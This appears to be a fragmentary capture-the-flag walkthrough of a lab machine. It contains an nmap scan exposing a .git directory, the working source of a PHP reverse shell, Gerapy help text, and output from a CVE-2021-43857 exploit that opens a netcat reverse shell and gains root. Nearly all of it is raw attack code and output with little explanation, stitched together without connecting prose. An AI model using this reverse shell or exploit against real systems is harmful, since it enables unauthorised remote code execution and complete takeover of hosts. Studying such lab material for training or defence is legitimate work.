PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 8e:ee:da:29:f1:ae:03:a5:c3:7e:45:84:c7:86:67:ce (RSA) | 256 f8:1c:ef:96:7b:ae:74:21:6c:9f:06:9b:20:0a:d8:56 (ECDSA) |_ 256 19:fc:94:32:41:9d:43:6f:52:c5:ba:5a:f0:83:b4:5b (ED25519) 80/tcp open http nginx 1.18.0 |_http-server-header: nginx/1.18.0 | http-git: | 192.168.1.28:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... | Remotes: |_ https://github.com/rskoolrash/Online-Admission-System | http-methods: |_ Supported Methods: GET HEAD POST | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Site doesn't have a title (text/html; charset=UTF-8). MAC Address: 08:00:27:50:7C:74 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
// // Daemonise ourself if possible to avoid zombies later //
// pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork();
if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); }
if ($pid) { exit(0); // Parent exits }
// Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); }
$daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); }
// Change to a safe directory chdir("/"); umask(0);
$descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to );
printit("Successfully opened reverse shell to $ip:$port");
while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; }
// Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; }
// Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); }
// If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); }
// If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } }
Optional arguments: -v, --version Get version of Gerapy -h, --help Show this help message and exit
Available commands: init Init workspace, default to gerapy initadmin Create default super user admin runserver Start Gerapy server migrate Migrate database createsuperuser Create a custom superuser makemigrations Generate migrations for database generate Generate Scrapy code for configurable project parse Parse project for debugging loaddata Load data from configs dumpdata Dump data to configs
Exploit for CVE-2021-43857 For: Gerapy < 0.9.8 [*] Resolving URL... [*] Logging in to application... [*] Login successful! Proceeding... [*] Getting the project list [*] Found project: test [*] Getting the ID of the project to build the URL [*] Found ID of the project: 1 [*] Setting up a netcat listener listening on [any] 9087 ... [*] Executing reverse shell payload [*] Watchout for shell! :) connect to [192.168.1.42] from (UNKNOWN) [192.168.1.28] 52382 root@university:/tmp/gerapy# id id uid=0(root) gid=0(root) groups=0(root) root@university:/tmp/gerapy#
